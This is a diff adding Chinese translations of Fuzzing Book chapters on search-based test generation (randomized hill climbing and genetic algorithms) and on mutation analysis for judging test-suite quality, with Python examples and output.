+爬山者在搜索的每个步骤中都会探索一个人的本地邻域，如果邻域太大，那么这将花费很长时间。 一种替代策略是不将搜索限制在本地附近，而是全局搜索搜索空间。 也就是说，允许搜索算法在搜索空间内进行更大的调整。 对爬山者的简单修改即可将其从本地搜索算法转换为全局搜索算法：无需查看所有直接邻居，而是以允许进行较大修改的方式对*进行了突变*。
+
+*突变*是一种变化，代表围绕搜索空间的较大步幅。 实施突变时，一个重要的决定是，从理论上讲，只需连续应用突变，就可以到达搜索空间中的任何点。 但是，突变通常不应完全用随机的个体代替个体。 对于该搜索而言，重要的是，该突变构成对仍然保留其大部分特征的个体的合理改变。 对于我们的10个字符字符串的搜索问题，可能的突变是在10个字符中仅替换 *1* ，如下所示：
+
+```py
+def flip_random_character(s):
+    pos = random.randint(0, len(s) - 1)
+    new_c = chr(random.randrange(0, 65536))
+    return s[:pos] + new_c + s[pos + 1:]
+
+```
+
+对爬山者的一个简单修改就是用突变代替对邻域的探索。 在每次迭代中，当前个体都会发生变异。 将生成的后代个体与其父代个体进行比较，两者中的更好者是搜索空间中的新点，并用于下一轮突变。 这称为“随机爬山”。
+
+```py
+def randomized_hillclimb():
+    x = random_unicode_string(10)
+    fitness = get_fitness(x)
+    print("Initial value: %s at fitness %.4f" %
+          (terminal_repr(x), fitness))
+
+    iterations = 0
+    while fitness > 0:
+        mutated = flip_random_character(x)
+        new_fitness = get_fitness(mutated)
+        if new_fitness <= fitness:
+            x = mutated
+            fitness = new_fitness
+            #print("New value: %s at fitness %.4f" %(terminal_repr(x), fitness))
+        iterations += 1
+
+    print("Optimum at %s after %d iterations" %
+          (terminal_repr(x), iterations))
+
+```
+
+```py
+randomized_hillclimb()
+
+```
+
+```py
+Initial value: '舨ᑆ\uec4f\ue27f羏\uf314䖗繣厪킨' at fitness 2.9998
+Optimum at 'ጤ〆撟%e5匸㗵暠ᴌ' after 34356 iterations
+
+```
+
+该算法通常比标准爬坡器更快地找到解决方案，尽管它仍然相当慢！
+
+值得指出的是，爬山和随机版本之间有一个微妙但至关重要的变化：请注意比较`new_fitness <= fitness`，而在爬山中我们使用`new_fitness < fitness`。 这很重要，因为搜索范围可能具有适合度值（高原）相等的区域，我们需要以某种方式克服这些适合度值。 在标准的Hillcimber中，我们通过随机重启来完成此操作。 如果随机的爬山者拒绝适应度相同的后代，它将继续变异相同的个体，并可能难以摆脱高原。 如果我们也用相同的适应性替换，则允许搜索在高原上移动，最终增加逃脱的机会。
+
+随机爬山者也称为 *1 + 1进化算法*（*（1 + 1）EA* ）。 进化算法是一种试图启发自然进化过程的元启发式搜索算法。 自然进化的基础是环境压力导致自然选择的种群：只有适者生存，而那些不适应者将死亡，因此种群的整体适应度逐渐提高。 （1 + 1）EA是一种非常特殊的进化算法，种群大小为1，可以精确地产生1个后代。 但是，实践中最常见的搜索算法是遗传算法。
+
+### 遗传算法
+
+最著名的进化算法之一是*遗传算法*（GA）。 遗传算法的基础是问题解决方案可以通过基因编码：染色体由一系列基因组成，其中每个基因都编码一个人的一个特征（例如，眼睛的颜色，头发的颜色等）。 适应度函数可以获取此描述中包含的信息，即所谓的基因型，并评估所得表型的属性，即该遗传编码表示的实际解。 在表型上测量个体的适应性值。
+
+对于我们的`cgi_decode()`示例，我们可以将单个字符视为基因，然后染色体是字符序列。 换句话说，到目前为止，我们已经使用了遗传编码！ 但是，对于GA来说，代表所需要的操作与邻居的枚举不同。
+
+遗传算法通过以下过程模拟自然进化：
+
+*   创建随机染色体的初始种群
+*   选择适合的个体进行繁殖
+*   通过选定个体的繁殖产生新的种群
+*   继续这样做，直到找到最佳解决方案或达到其他限制。
+
+创建初始种群的第一步很简单：
+
+```py
+def create_population(size):
+    return [random_unicode_string(10) for i in range(size)]
+
+```
+
+```py
+create_population(10)
+
+```
+
+```py
+['㛇莜戹豔㮝\ue008力ᒐᱯꊎ',
+ '\ue295쁉陵ꯃ赖蟽⍬꺲緥㲱',
+ '\u2e77騬⊳铁땕\uf189\ue663쌯幆艆',
+ '龚筓\uf3a9욀놷䓒隯迌쀐∑',
+ '쓛唁뗌蹽\udcd5偏躝娒鸭赌',
+ '蹤⪖ឺ웳ఫ䓻䤷溸ᰒﵘ',
+ '㲒혋Ꮘ\uea95\udf7b䢶裕㖬눹庑',
+ '\u2d9d鼓咝笩窻ꨔ铺扄\ueb57\uf1bf',
+ '\udd26Ч甄ꃢ\udcb0㼁튰㣋ช봼',
+ '닇軬欴鞛㈓Ẫ住畿ꔪ칀']
+
+```
+
+选择过程偏向于更健康的个体，因此我们需要确定人口中所有个体的适应度值。 由于我们将在算法中的多个位置需要每个人的适应度值，因此我们要通过使适应度成为*元组*的列表来存储它，每个元组都由一个人及其适应度值组成。
+
+```py
+def evaluate_population(population):
+    fitness = [get_fitness(x) for x in population]
+    return list(zip(population, fitness))
+
+```
+
+```py
+population = create_population(10)
+
+```
+
+```py
+for (individual, fitness) in evaluate_population(population):
+    print("%s: %.4f" % (terminal_repr(individual), fitness))
+
+```
+
+```py
+'\ue46fت팣㘇ธ漅ೇ↪䜭㎮': 2.9994
+'\ua7e9\ue9e0\ue7de턤댪囿厠‐\ue0c5ﴌ': 2.9999
+'䇯Ꜩ잣\ua9ce㙦\uf4aa歿蘸ཎ㫜': 2.9997
+'ⱳ콾哇\uef1f\uf6a8⾃䣖坤Ꮾ둰': 2.9998
+'າ伫螉\ue110㝎겱괼䆵喞\u18ac': 2.9997
+'ས婎쥤䇉韤\udd06䕮춵磒露': 2.9997
+'辺緢噑粲\uf400嚳寬\x87ꐂ쑹': 2.9899
+'뉫㻑\u1fd4㈖鬒樼\u0dcc朏\ue57eማ': 2.9997
+'얨㐁皭់멄\ud97b\ueac9㢂ቅ뮜': 2.9998
+'⒃⍜㈪㊷\udbdb乑蓍\udc48鱲뻜': 2.9999
+
+```
+
+在搜寻中使用适应性值通常是用“适者生存”来解释的，但达尔文对进化的主要见解之一是选择不仅取决于生存-个人通过性繁殖，而性选择描述了选择压力 在繁殖期间。 这种选择通常受以下两种情况之一的影响：竞争中的雄性为雌性而战，雄性（强力）获胜； 选择也受显示影响。 达尔文（Darwin）的例子就是孔雀：孔雀有长长而美丽的尾羽，似乎毫无用处，似乎也不支持自然选择的概念。 但是，豌豆的出现会影响其选择性伴侣的能力。 令人印象深刻的装饰品表明，男性在遗传上特别健康，并将导致健康的后代。 这在GA中得到了体现：一个人的适应度值越好，与另一个人交配的可能性就越大。 反映此概念的简单选择算法是*比赛选择*：少数随机选择的个人参加比赛，其中最好的被选中：
+
+```py
+def selection(evaluated_population, tournament_size):
+    competition = random.sample(evaluated_population, tournament_size)
+    winner = min(competition, key=lambda individual: individual[1])[0]
+
+    # Return a copy of the selected individual
+    return winner[:]
+
+```
+
+`tournament_size`参数指定从总体中随机选择的个人中有多少人参加锦标赛。 这是一个重要的选择，因为它决定了*选择压力*：比赛规模越大，优秀个人被纳入比赛的可能性就越大。 反过来，这增加了这些非常好的个人支配下一代的可能性，从而降低了多样性并导致了过早的收敛。 相反，如果比赛的规模太小，那么这会阻碍比赛的进行。 锦标赛规模的最佳值取决于人口规模，但通常很小（例如5）。 让我们使用示例人群中的所有个体来运行一次锦标赛，以查看是否选择了最佳锦标赛：
+
+```py
+population = create_population(10)
+fitness = evaluate_population(population)
+selected = selection(fitness, 10)
+
+```
+
+```py
+for (individual, fitness_value) in fitness:
+    print("%s: %.4f" % (terminal_repr(individual), fitness_value))
+
+```
+
+```py
+'둚䘣蹸붢騒ꋎỺ觉\ued2a焊': 2.9999
+'닔㶐ꡡ\udca4贕굇᳆\ueccd윘赉': 2.9999
+'笁깉ရ豴\uea60ᛰ滒鶵）Ⰴ': 2.9998
+'㠒㵄\ue14cᤃᇚ\udebe\uf851쿛鏆闊': 2.9998
+'ࠝ\udd53ᶂ㮍訬廘랦铘뫘출': 2.9995
+'ꡩၔ玤姨乪药汏䗫汔悔': 2.9998
+'\uef2a潦ﳠ鹉卼㴐Ṭ\uf4b0˅얓': 2.9985
+'❱\u0ff7╇塐䲫琭煸ᮤឋ퇃': 2.9998
+'ڮ焈㱉煉ꅿᦗ툍혐خ꧓': 2.9994
+'ἂጋ\uddcc\ue3d7粖\ude2c⮌鮓讃\ueab6': 2.9998
+
+```
+
+```py
+print("Winner: %s" % terminal_repr(selected))
+
+```
+
+```py
+Winner: '\uef2a潦ﳠ鹉卼㴐Ṭ\uf4b0˅얓'
+
+```
+
+就像在自然进化中一样，根据自己的健康状况选择的个体也可以繁殖，形成新一代。 在这种繁殖过程中，就像在自然繁殖过程中一样，所选亲本的遗传物质也会被合并。 这通常是通过称为 *crossover* 的过程完成的，其中后代染色体是由其父母的基因产生的。 在我们的例子中，一条染色体是一个字符序列，通过选择一个截止随机点，然后通过基于截止点组合父母染色体的两半来创建后代，可以简单地跨越两个父字符序列。
+
+```py
+def crossover(parent1, parent2):
+    pos = random.randint(1, len(parent1))
+
+    offspring1 = parent1[:pos] + parent2[pos:]
+    offspring2 = parent2[:pos] + parent1[pos:]
+
+    return (offspring1, offspring2)
+
+```
+
+```py
+parent1 = "Hello World"
+parent2 = "Goodbye Book"
+
+crossover(parent1, parent2)
+
+```
+
+```py
+('Hello W Book', 'Goodbyeorld')
+
+```
+
+遗传进化的另一个重要组成部分是突变的概念：有时候，后代的基因会有细微的变化，代表着新的遗传物质和新的生理特性。 如果突变引入了代表有用特性的新遗传物质，从而导致了更好的适应性值，那么该遗传物质将生存。 如果该突变引入了无用的遗传物质，那么产生的个体将很可能具有不良适应性值并迅速死亡。
+
+一个重要方面是，突变和交叉都是概率行为。 它们并不总是会发生，并且每次发生时其影响都是不同的。 对于序列遗传编码，一种常见的方法是首先使用概率来决定是否应用突变，然后选择一个基因并对其稍加更改。 或者，我们可以概率性地突变基因，使得平均一个基因发生改变。 我们通过计算每个基因被突变为1 /（基因数量）的概率`P`来做到这一点。 然后，如果基因发生突变，我们不仅会用随机字符代替它，而且更有可能只有很小的变化。 这是通过以当前值作为平均值从高斯分布中采样来实现的。 我们任意使用100的标准偏差来使小的变化比大的变化更有可能。
+
+```py
+def mutate(chromosome):
+    mutated = chromosome[:]
+    P = 1.0 / len(mutated)
+
+    for pos in range(len(mutated)):
+        if random.random() < P:
+            new_c = chr(int(random.gauss(ord(mutated[pos]), 100) % 65536))
+            mutated = mutated[:pos] + new_c + mutated[pos + 1:]
+    return mutated
+
+```
+
+现在，终于有了构成完整算法的所有要素：
+
+```py
+def genetic_algorithm():
+    # Generate and evaluate initial population
+    generation = 0
+    population = create_population(100)
+    fitness = evaluate_population(population)
+    best = min(fitness, key=lambda item: item[1])
+    best_individual = best[0]
+    best_fitness = best[1]
+    print("Best fitness of initial population: %s - %.10f" %
+        (terminal_repr(best_individual), best_fitness))
+    logs = 0
+
+    # Stop when optimum found, or we run out of patience
+    while best_fitness > 0 and generation < 1000:
+
+        # The next generation will have the same size as the current one
+        new_population = []
+        while len(new_population) < len(population):
+            # Selection
+            offspring1 = selection(fitness, 10)
+            offspring2 = selection(fitness, 10)
+
+            # Crossover
+            if random.random() < 0.7:
+                (offspring1, offspring2) = crossover(offspring1, offspring2)
+
+            # Mutation
+            offspring1 = mutate(offspring1)
+            offspring2 = mutate(offspring2)
+
+            new_population.append(offspring1)
+            new_population.append(offspring2)
+
+        # Once full, the new population replaces the old one
+        generation += 1
+        population = new_population
+        fitness = evaluate_population(population)
+
+        best = min(fitness, key=lambda item: item[1])
+        best_individual = best[0]
+        best_fitness = best[1]
+        if logs < LOG_VALUES:
+            print(
+                "Best fitness at generation %d: %s - %.8f" %
+                (generation, terminal_repr(best_individual), best_fitness))
+        elif logs == LOG_VALUES:
+            print("...")
+        logs += 1
+
+    print(
+        "Best individual: %s, fitness %.10f" %
+        (terminal_repr(best_individual), best_fitness))
+
+```
+
+让我们看看这在我们的unicode示例中如何工作。
+
+```py
+genetic_algorithm()
+
+```
+
+```py
+Best fitness of initial population: '俴\x8a辰燄펧䬍缯檒㤢⦡' - 2.9901960784
+Best fitness at generation 1: 'ཬə쫯ὼ酟剺鬈{Ż\ue313' - 2.98850575
+Best fitness at generation 2: '俴\x82辰燄酟剺鬢\x1bŻ\ue313' - 2.90909091
+Best fitness at generation 3: 'ྂɵ쫕ὼ酟剺鬈%Ŧ\ue384' - 1.99610895
+Best fitness at generation 4: 'ྂɵ쬆ὼ酟剺鬈%ŋ\ue384' - 1.99565217
+Best fitness at generation 5: '俴ʐ쫕ἶ酟剺髺%¼\ue384' - 1.98850575
+Best fitness at generation 6: 'ྂɵ쫪ὼ酟剒鬈%\x9e\ue37f' - 1.98245614
+Best fitness at generation 7: '俴̗쪕ἶ酟剺髱%4\ue378' - 0.99998280
+Best fitness at generation 8: '侪\x86쪕ἶ酟剺髱%4\ue378' - 0.99998280
+Best fitness at generation 9: '俆ǫ쪸ἶ醿剺髱%4\ue2b5' - 0.99998274
+Best fitness at generation 10: '俆ǫ쪸ἶ釘剺髧%4\ue2b5' - 0.99998274
+Best fitness at generation 11: '俆ɫ쫕Ồ酟剺髱%4\ue256' - 0.99998271
+Best fitness at generation 12: '侪\x86쪕ἶ醿剺髱%4\ue1f9' - 0.99998268
+Best fitness at generation 13: '侪ï쪕ἶ醿剺髱%4\ue1f9' - 0.99998268
+Best fitness at generation 14: '俆\x86쪕ἶ醿剺髱%4\ue1f9' - 0.99998268
+Best fitness at generation 15: '俆Ǩ쪸ἂ醿剺髱%4\ue150' - 0.99998263
+Best fitness at generation 16: '俴ʓ쫕ớ鄞务髱%e\ue0f0' - 0.99998260
+Best fitness at generation 17: '侪ï쪵ớ酟刖髱%F\ue0a9' - 0.99998258
+Best fitness at generation 18: '佺ģ쪵ớ鄞劐髱%e\ue05c' - 0.99998256
+Best fitness at generation 19: '侪ï쪵ớ酟刖髱%e\ue05c' - 0.99998256
+Best fitness at generation 20: '侪ï쪵ί酃劐髝%e\ue00c' - 0.99998253
+...
+Best individual: '予ß쥇᳗轐咆隭%2A', fitness 0.0000000000
+
+```
+
+## 经验教训
+
+*   元启发式搜索问题由算法，表示形式和适应度函数组成。
+*   对于测试生成，适应度函数通常会估计执行到目标位置的距离。 为了确定该距离，我们使用仪器来计算测试执行期间的距离。
+*   当邻域定义良好且不太大时，像爬坡这样的本地搜索算法可以很好地工作。
+*   全局搜索算法（例如遗传算法）非常灵活，可以很好地扩展到更大的测试问题。
+
+## 后续步骤
+
+在本章中，我们介绍了相当简单的程序输入。 我们还可以应用相同的搜索算法来发展复杂的测试输入，尤其是语法输入的[。](EvoGrammarFuzzer.html)
+
+## 背景
+
+\ todo {添加更多}
+
+搜索的目标通常与覆盖范围有关。 有关讨论，请参见[测试简介](Intro_Testing.html)中的书。
+
+## 练习
+
+\ todo {稍后会添加}
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/13.md b/new/fuzzing-book-zh/13.md
new file mode 100644
index 0000000000000000000000000000000000000000..b7cb9f6f34130c22861d1cadec431752dac7d756
--- /dev/null
+++ b/new/fuzzing-book-zh/13.md
@@ -0,0 +1,1918 @@
+# 变异分析
+
+> 原文： [https://www.fuzzingbook.org/html/MutationAnalysis.html](https://www.fuzzingbook.org/html/MutationAnalysis.html)
+
+在有关的[一章中，我们展示了如何识别程序的哪些部分由程序执行，从而了解一组测试用例在覆盖程序结构方面的有效性。 但是，仅覆盖可能不是衡量测试有效性的最佳方法，因为无需检查结果是否正确，覆盖范围就可以很大。 在本章中，我们介绍了另一种评估测试套件有效性的方法：将*突变* – *人为错误* –注入代码后，我们检查测试套件是否可以检测到这些人为的 故障。 这个想法是，如果它无法检测到此类突变，那么它也会错过真正的错误。](Coverage.html)
+
+**前提条件**
+
+*   您需要对程序的执行方式有所了解。
+*   您应该已经阅读[关于覆盖](Coverage.html)的章节。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.MutationAnalysis](MutationAnalysis.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+本章介绍在主题程序上运行*突变分析*的两种方法。 第一类`MuFunctionAnalyzer`针对各个功能。 给定一个函数`gcd`并评估两个测试用例，一个可以对测试用例进行突变分析，如下所示：
+
+```py
+>>> for mutant in MuFunctionAnalyzer(gcd, log=True):
+>>>     with mutant:
+>>>         assert gcd(1, 0) == 1, "Minimal"
+>>>         assert gcd(0, 1) == 1, "Mirror"
+>>> mutant.pm.score()
+->  gcd_1
+<-  gcd_1
+
+->  gcd_2
+<-  gcd_2
+
+->  gcd_3
+<-  gcd_3
+
+->  gcd_4
+<-  gcd_4
+Detected gcd_4 <class 'AssertionError'> Minimal
+
+0.25
+
+```
+
+第二类`MuProgramAnalyzer`针对具有测试套件的独立程序。 给定一个程序`gcd`，其源代码在`gcd_src`中提供，而测试套件由`TestGCD`提供，则可以如下评估`TestGCD`的突变评分：
+
+```py
+>>> class TestGCD(unittest.TestCase):
+>>>     def test_simple(self):
+>>>         assert cfg.gcd(1, 0) == 1
+>>> 
+>>>     def test_mirror(self):
+>>>         assert cfg.gcd(0, 1) == 1
+>>> for mutant in MuProgramAnalyzer('gcd', gcd_src):
+>>>     mutant[test_module].runTest('TestGCD')
+>>> mutant.pm.score()
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+======================================================================
+FAIL: test_simple (__main__.TestGCD)
+----------------------------------------------------------------------
+Traceback (most recent call last):
+  File "<ipython-input-99-9157b5e48dd8>", line 3, in test_simple
+    assert cfg.gcd(1, 0) == 1
+AssertionError
+
+----------------------------------------------------------------------
+Ran 1 test in 0.001s
+
+FAILED (failures=1)
+
+1.0
+
+```
+
+这样获得的突变评分比纯覆盖范围更好地指示了给定测试套件的质量。
+
+## 为什么结构覆盖不足
+
+[结构覆盖率](Coverage.html)措施的问题之一是，它无法检查测试套件生成的程序执行是否实际上*是正确的*。 也就是说，产生测试套件未注意到的错误输出的执行与产生正确覆盖率的执行的计数完全相同。 的确，如果删除典型测试用例中的断言，则新测试套件的覆盖范围不会改变，但是新测试套件的功能远不如原始测试套件有用。 例如，考虑以下“测试”：
+
+```py
+def ineffective_test():
+    execute_the_program_as_a_whole()
+    assert True
+
+```
+
+无论`execute_the_program_as_a_whole()`做什么，这里的最终断言总是会通过。 好的，如果`execute_the_program_as_a_whole()`引发异常，则测试将失败，但是我们也可以解决该问题：
+
+```py
+def ineffective_test():
+    try:
+        execute_the_program_as_a_whole()
+    except:
+        pass
+    assert True
+
+```
+
+但是，这些“测试”的问题在于`execute_the_program_as_a_whole()`可能实现100％的代码覆盖率（或任何其他结构覆盖率度量标准的100％）。 但是，这个100％的数字并不反映测试发现错误的能力，实际上是0％。
+
+实际上，这不是最佳状态。 我们如何验证我们的测试确实有用？ 一种选择（在有关覆盖率的章节中提供了提示）是将错误注入程序，并评估测试套件在捕获这些注入的错误方面的有效性。 但是，这带来了另一个问题。 我们如何首先产生这些错误？ 开发人员对错误可能发生的位置以及产生的影响的先入之见可能会使任何手动工作都产生偏差。 此外，编写非常好的bug可能会花费大量时间，这是非常间接的好处。 因此，这样的解决方案是不够的。
+
+## 通过突变分析[播种人工故障](#Seeding-Artificial-Faults-with-Mutation-Analysis)
+
+变异分析提供了另一种解决方案，用于评估测试套件的有效性。 突变分析的想法是将*人为错误*（称为*突变*）植入程序代码，并检查测试套件是否找到了它们。 例如，这种突变可以用`execute_the_program_as_a_whole()`中某处的`-`代替`+`。 当然，上述无效的测试不会检测到这一点，因为它们不会检查任何结果。 然而，有效的测试将； 假设测试在发现*人为*错误中越有效，则在发现*实际*错误中越有效。
+
+变异分析的见解是从程序员的角度考虑错误插入的可能性。 如果假设程序中每个程序元素所收到的注意力足够相似，则可以进一步假定程序中的每个令牌都具有相似的被错误转录的可能性。 当然，程序员将纠正编译器（或其他静态分析工具）检测到的所有错误。 因此，与经过编译阶段之后的原始令牌不同的有效令牌集被认为是它的*突变*的可能集，它们表示程序中的*可能的错误*。 然后，通过测试套件检测（从而防止）此类突变的能力来对其进行判断。 在产生的所有*有效*突变体中检测到的此类突变体的比例作为突变得分。 在这一章中，我们将了解如何在Python程序中实现变异分析。 所获得的变异分数代表任何程序分析工具预防错误的能力，并且可以用于判断静态测试套件，测试生成器（例如模糊器）以及静态和符号执行框架。
+
+考虑一个稍微不同的观点可能很直观。 测试套件是可以视为接受测试的程序作为其输入的程序。 评估此类程序（测试套件）的最佳方法是什么？ 通过对输入程序应用小的变异，并验证所涉及的测试套件不会产生意外行为，我们实质上可以*对*进行模糊测试。 测试套件应该只允许原始版本通过。 因此，任何未被检测为有缺陷的突变体都表示测试套件中的错误。
+
+## 示例的结构覆盖范围充分性
+
+让我们介绍一个更详细的示例，以说明覆盖问题以及突变分析的工作原理。 下面的`triangle()`程序将边长为$ a $，$ b $和$ c $的三角形分类为适当的三角形类别。 我们要验证程序是否正常运行。
+
+```py
+def triangle(a, b, c):
+    if a == b:
+        if b == c:
+            return 'Equilateral'
+        else:
+            return 'Isosceles'
+    else:
+        if b == c:
+            return "Isosceles"
+        else:
+            if a == c:
+                return "Isosceles"
+            else:
+                return "Scalene"
+
+```
+
+这里有一些测试用例，以确保程序正常运行。
+
+```py
+def strong_oracle(fn):
+    assert fn(1, 1, 1) == 'Equilateral'
+
+    assert fn(1, 2, 1) == 'Isosceles'
+    assert fn(2, 2, 1) == 'Isosceles'
+    assert fn(1, 2, 2) == 'Isosceles'
+
+    assert fn(1, 2, 3) == 'Scalene'
+
+```
+
+运行它们实际上会使所有测试通过。
+
+```py
+strong_oracle(triangle)
+
+```
+
+但是，只有当我们知道我们的测试有效时，“所有测试都通过”的声明才有价值。 我们的测试套件的功效是什么？ 正如我们在关于的[一章中所看到的，可以使用结构性覆盖技术（例如语句覆盖）来获得测试用例有效性的度量。](Coverage.html)
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Coverage](Coverage.html) import Coverage
+
+```
+
+```py
+import [inspect](https://docs.python.org/3/library/inspect.html)
+
+```
+
+我们添加了一个函数`show_coverage()`以可视化获得的覆盖范围。
+
+```py
+class Coverage(Coverage):
+    def show_coverage(self, fn):
+        src = inspect.getsource(fn)
+        name = fn.__name__
+        covered = set([lineno for method,
+                       lineno in self._trace if method == name])
+        for i, s in enumerate(src.split('\n')):
+            print('%s  %2d: %s' % ('#' if i + 1 in covered else ' ', i + 1, s))
+
+```
+
+```py
+with Coverage() as cov:
+    strong_oracle(triangle)
+
+```
+
+```py
+cov.show_coverage(triangle)
+
+```
+
+```py
+   1: def triangle(a, b, c):
+#  2:     if a == b:
+#  3:         if b == c:
+#  4:             return 'Equilateral'
+   5:         else:
+#  6:             return 'Isosceles'
+   7:     else:
+#  8:         if b == c:
+#  9:             return "Isosceles"
+  10:         else:
+# 11:             if a == c:
+# 12:                 return "Isosceles"
+  13:             else:
+# 14:                 return "Scalene"
+  15: 
+
+```
+
+我们的`strong_oracle()`似乎已充分涵盖了所有可能的条件。 也就是说，根据结构覆盖范围，我们的测试用例集相当不错。 但是，获得的报道能说明全部情况吗？ 请考虑以下测试套件：
+
+```py
+def weak_oracle(fn):
+    assert fn(1, 1, 1) == 'Equilateral'
+
+    assert fn(1, 2, 1) != 'Equilateral'
+    assert fn(2, 2, 1) != 'Equilateral'
+    assert fn(1, 2, 2) != 'Equilateral'
+
+    assert fn(1, 2, 3) != 'Equilateral'
+
+```
+
+我们这里要检查的只是边不相等的三角形不是等边的。 获得了什么保障？
+
+```py
+with Coverage() as cov:
+    weak_oracle(triangle)
+
+```
+
+```py
+cov.show_coverage(triangle)
+
+```
+
+```py
+   1: def triangle(a, b, c):
+#  2:     if a == b:
+#  3:         if b == c:
+#  4:             return 'Equilateral'
+   5:         else:
+#  6:             return 'Isosceles'
+   7:     else:
+#  8:         if b == c:
+#  9:             return "Isosceles"
+  10:         else:
+# 11:             if a == c:
+# 12:                 return "Isosceles"
+  13:             else:
+# 14:                 return "Scalene"
+  15: 
+
+```
+
+实际上，覆盖范围似乎没有*任何*差异。 `weak_oracle()`获得的覆盖范围与`strong_oracle()`完全相同。 然而，片刻的反思应该使人相信`weak_oracle()`不如`strong_oracle()`有效。 但是，*的覆盖范围*无法区分这两个测试套件。 我们在覆盖范围上缺少什么？ 这里的问题是覆盖范围无法评估我们断言的*质量*。 实际上，覆盖范围根本不关心断言。 但是，如上所述，断言是测试套件有效性的极其重要的部分。 因此，我们需要一种评估断言质量的方法。
+
+## 注入人为故障
+
+注意，在有关的[一章中，覆盖范围是*代理*的形式，表示测试套件可能会发现错误。 如果实际上试图评估测试套件发现错误的可能性怎么办？ 我们所需要做的就是一次将一个错误注入程序，并计算测试套件检测到的此类错误的数量。 检测频率将为我们提供测试套件发现漏洞的实际可能性。 此技术称为*故障注入*。 这是*故障注入*的示例。](Coverage.html)
+
+```py
+def triangle_m1(a, b, c):
+    if a == b:
+        if b == c:
+            return 'Equilateral'
+        else:
+            # return 'Isosceles'
+            return None  # <-- injected fault
+    else:
+        if b == c:
+            return "Isosceles"
+        else:
+            if a == c:
+                return "Isosceles"
+            else:
+                return "Scalene"
+
+```
+
+让我们看看我们的测试套件是否足以应付此故障。 我们首先检查`weak_oracle()`是否可以检测到此更改。
+
+```py
+from [ExpectError](ExpectError.html) import ExpectError
+
+```
+
+```py
+with ExpectError():
+    weak_oracle(triangle_m1)
+
+```
+
+`weak_oracle()`无法检测到任何更改。 那我们的`strong_oracle()`呢？
+
+```py
+with ExpectError():
+    strong_oracle(triangle_m1)
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-18-e38642a77f76>", line 2, in <module>
+    strong_oracle(triangle_m1)
+  File "<ipython-input-4-90155baa3232>", line 5, in strong_oracle
+    assert fn(2, 2, 1) == 'Isosceles'
+AssertionError (expected)
+
+```
+
+我们的`strong_oracle()`能够检测到此故障，这证明`strong_oracle()`可能是更好的测试套件。
+
+*故障注入*可以很好地衡量测试套件的有效性，前提是我们提供了可能的故障列表。 问题是收集这样的*无偏*故障集是相当昂贵的。 难以创建难以检测的良好故障，这是一个手动过程。 鉴于这是一个手动过程，因此所产生的错误将受到创建它的开发人员的先入为主的偏见。 即使存在此类经过策划的错误，它们也不大可能是详尽无遗的，并且可能会错过重要的错误类别以及程序的某些部分。 因此，*故障注入*不足以替代覆盖范围。 我们可以做得更好吗？
+
+变异分析提供了一组精选故障的替代方法。 关键的见解是，如果假设程序员理解所讨论的程序，则大多数错误很可能是小的转录错误（少量的令牌）。 编译器很可能会捕获其中的大多数错误。 因此，程序中的大多数残余故障可能是由于正确程序的程序结构中某些点上的小（单个令牌）变化（此特定假设称为*合格程序员假说*或*有限邻里假说*）。 由程序的多个更改组成的较大故障又如何呢？ 此处的关键洞察力是，对于此类故障中的绝大部分，可以检测到隔离中的单个更改的测试用例很有可能检测到包含该故障的较大复合故障。 （此假设称为*耦合效应*。）我们如何在实践中使用这些假设？ 这个想法是简单地生成程序的所有可能有效的*有效*变体，这些变体与原始版本之间的差别很小（例如单个令牌更改）（这种变体称为 *突变体*）。 接下来，将给定的测试套件应用于由此生成的每个变体。 据说测试套件检测到的任何突变体均已被测试套件杀死*。 测试套件的有效性由杀死的突变体与产生的有效突变体的比例确定。*
+
+接下来，我们实现一个简单的突变分析框架，并使用它来评估我们的测试套件。
+
+## 突变Python代码
+
+要处理Python程序，我们需要使用*抽象语法树*（AST）表示形式-这是内部表示形式，编译器和解释器在读取程序文本后便会进行处理。
+
+简而言之，我们将程序转换为树，然后*更改此树的一部分*-例如，通过将`+`运算符更改为`-`或反之亦然，或将实际语句更改为`pass`语句 什么也没做。 然后可以进一步处理生成的变异树。 它可以传递给Python解释器以执行，或者我们可以*将其解析为文本形式。*
+
+我们首先导入AST操作模块。
+
+```py
+import [ast](https://docs.python.org/3/library/ast.html)
+import [astor](https://docs.python.org/3/library/astor.html)
+import [inspect](https://docs.python.org/3/library/inspect.html)
